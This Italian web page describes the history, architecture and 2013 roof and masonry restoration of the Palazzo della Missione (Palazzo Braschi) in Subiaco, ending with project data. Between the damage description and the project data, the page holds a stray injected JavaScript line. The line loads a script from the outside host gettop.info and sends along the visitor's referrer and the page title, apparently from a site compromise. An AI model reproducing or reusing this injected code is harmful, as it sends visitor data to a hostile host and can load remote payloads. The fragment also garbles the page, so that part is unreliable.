L’edificio conosciuto come “Palazzo della Missione” fu concepito dal cardinale genovese Giovanni Battista Spinola succeduto, nel 1738, al cardinale abate commendatario Francesco Barberini, nel regime della commenda sublacense. I lavori di costruzione di tutto il monumentale fabbricato ebbero inizio nel 1749 e si protrassero per circa un decennio. Il complesso fu inaugurato nel 1765.
Il 1867 fu per Subiaco l’anno di forti scontri tra le truppe garibaldine che marciavano su Roma per fare della città la capitale del Regno d’Italia, e le truppe francesi che difendevano lo Stato Pontificio. Queste si acquartierarono nel palazzo della Missione trasformandolo temporaneamente in una caserma.
Successivamente il palazzo venne messo all’asta ed acquistato dalle suore francesi del SS. Sacramento che vi aprirono nel 1869 un asilo infantile, delle scuole elementari ed un laboratorio di ricamo.
Il terremoto del 1915, che lesionò l’edificio, nonchè l’entrata in guerra dell’Italia, indussero le suore ad abbandonare il palazzo che al termine del conflitto venne acquistato dall’Abate di S. Scolastica, monsignor Lorenzo Simone Salvi, e affidato alla Mensa Abbaziale. Quindi vi fu ospitato l’Istituto Magistrale, istituito nel 1939 ed intitolato ad Arnaldo Mussolini e, successivamente, con l’avvento della Repubblica, a Giovannangelo Braschi, insigne benefattore di Subiaco. Nel maggio-giugno 1944, durante il secondo conflitto mondiale, il palazzo fu scosso dallo spostamento d’aria prodotto dalle bombe, sganciate reiteratamente dagli alleati sulla cittadina. Dopo i bombardamenti venne occupato in parte dai senza-tetto, che lo ridussero in condizioni pietose. Nel 1951, in alcuni locali del pianterreno, incominciò il funzionamento di un laboratorio didattico di sartoria dedicato a S. Benedetto e successivamente ingranditosi con l’occupazione di altri vani nel primo piano (ala di ponente). Nel 1952-1953 altri locali del primo piano furono occupati dallo I.N.A.P.L.I., che vi creò un centro di addestramento professionale. Attualmente è di proprietà della Curia diocesana di Tivoli.
Il Palazzo della Missione è collocato lungo il fronte longitudinale della attuale Piazza Ulderico Pelliccia, immediatamente a ridosso del sovrastante Viale della Repubblica. La particolare posizione di questo compendio immobiliare consente di raccordare il dislivello morfologico pari a circa mt. 20.00, esistente tra la quota della Piazza e la viabilità superiore. L’edificio si sviluppa come un corpo di fabbrica a forma di “C” che si origina lungo un asse coincidente pressappoco con la direzione est-ovest. Un ulteriore volume, di dimensioni più ridotte, affianca il lato occidentale della “C”. In relazione al dislivello esistente tra valle e monte il complesso risulta parzialmente interrato: in particolare il lato meridionale, che affaccia sulla piazza, si sviluppa su cinque differenti piani per un’ altezza di circa mt. 24.00 ai quali si aggiungono ulteriori mt. 5.00 relativi al loggiato superiore.
Il fronte si erge per una larghezza di circa mt. 56.00 ai quali vanno sommati ulteriori mt. 17.00 del volume occidentale più basso. La profondità del corpo di fabbrica è pari a circa mt 10.50 mentre le “ali” si allargano a formare un cortile interno per ulteriori mt. 12.00. La struttura in elevazione, a tipologia mista, è costituita da una muratura in pietrame del tipo a sacco, intonacata. Le coperture sono formate da orditure lignee con falde a padiglione spioventi lungo tutti i lati perimetrali. L’accesso principale è rivolto “a monte” e permette di guadagnare, tramite una doppia scalinata, la quota corrispondente al terzo livello sulla Piazza. Sul fronte opposto, e quindi dalla sottostante piazza, è possibile accedere ai locali posti parzialmente contro terra e anticamente utilizzati come stalle e depositi del Palazzo e successivamente adibiti a botteghe artigiane e commerciali. Una serie di rampe di scale poste all’estrema destra dell’edificio, permette di accedere al terzo livello del Palazzo dove, sul lato orientale, è collocato un altro ingresso posto in asse al corridoio di distribuzione interna.
Il partito architettonico esterno è scandito dal rigore geometrico delle undici finestrature disposte su quattro ordini. Gli ultimi tre dei quali sono uniti da una lineare cornice marca-davanzale. Il loggiato superiore, ed i corpi di fabbrica che racchiudono il cortile interno, seguono il medesimo ritmo alternato di pieni e vuoti. La struttura tipologico distributiva interna è costituita da un lungo corridoio voltato che percorre longitudinalmente l’edificio e lungo il quale si attestano, sul fronte meridionale, ambienti di differente ampiezza comprendenti una o due finestre. I due blocchi che costituiscono i lembi della “C” sono muniti entrambi di uno scalone a pianta quadrata che salgono alle differenti quote.
L’edificio è stato oggetto di un intervento di manutenzione che ha interessato solo i lati dell’attuale istituto scolastico, ospite nel Palazzo, prospicienti gli spazi pubblici; le restanti parti non hanno goduto dei medesimi interventi manutentivi. 
Prima del restauro una delle principali fenomenologie  di dissesto era rappresentata dalla completa perdita di efficienza del sistema di canalizzazione e smaltimento delle acque meteoriche dei lati retrostanti la facciata principale con particolare evidenza nel cortile posteriore. Le gronde ed i discendenti risultavano in numerosi punti mancanti e sconnessi; l’intero bacino di raccolta delle acque meteoriche, relativo alle falde dei tetti sversanti sul cortile interno, non era convogliato e regimato verso terra e si riversava lungo le facciate sottostanti. Gli intonaci di queste, continuamente oggetto di tale dilavamento, avevano perso la consistenza meccanica iniziale, generando fenomenologie di distacco generalizzato in diversi punti.
Mancavano inoltre, tutte le finestre relative al loggiato posto all’ultimo piano dell’edificio. Il lungo ambiente, provvisto di arcate su ambo i lati, era completamente privo di protezione alle intemperie.
La copertura dell’altana risultava “fatiscente” in considerazione degli interventi di sostegno provvisori messi in atto in epoca passata. Evidenti erano anche altre macchie di umidità a ridosso del lato destro del portico d’ingresso principale. 
Il tetto relativo al corpo di fabbrica più basso e prospettante sulla piazza risentiva del medesimo grado di fatiscenza. Infiltrazioni meteoriche passavano, senza nessun ostacolo, ai piani sottostanti permeando i solai, impoverendone la resistenza meccanica.

 s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Natura dell'opera: Intervento di bonifica delle coperture e risanamento delle murature di palazzo Braschi in Subiaco
Committente: Diocesi di Tivoli - Piazza Sant'Anna N.2 - 00019 Tivoli, Roma
Indirizzo di cantiere: Piazza Ulderico Pelliccia Subiaco - Roma
Importo dei lavori: € 189.399,52 oltre IVA, comprensivo di oneri per la sicurezza
Categoria soa: OG 2
Responsabile della sicurezza: Geom. Nello Rondoni
Direttore dei lavori: Arch. Giancarlo Busato
Anno di realizzazione: 2013